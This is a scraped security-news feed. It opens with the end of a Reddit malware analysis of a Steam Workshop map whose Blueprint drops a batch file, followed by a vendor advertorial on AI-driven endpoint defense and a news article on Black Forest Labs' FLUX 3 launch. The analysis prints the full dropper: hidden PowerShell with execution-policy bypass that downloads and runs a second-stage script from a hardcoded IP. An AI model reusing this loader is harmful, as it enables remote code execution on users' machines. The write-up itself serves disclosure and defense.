Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, 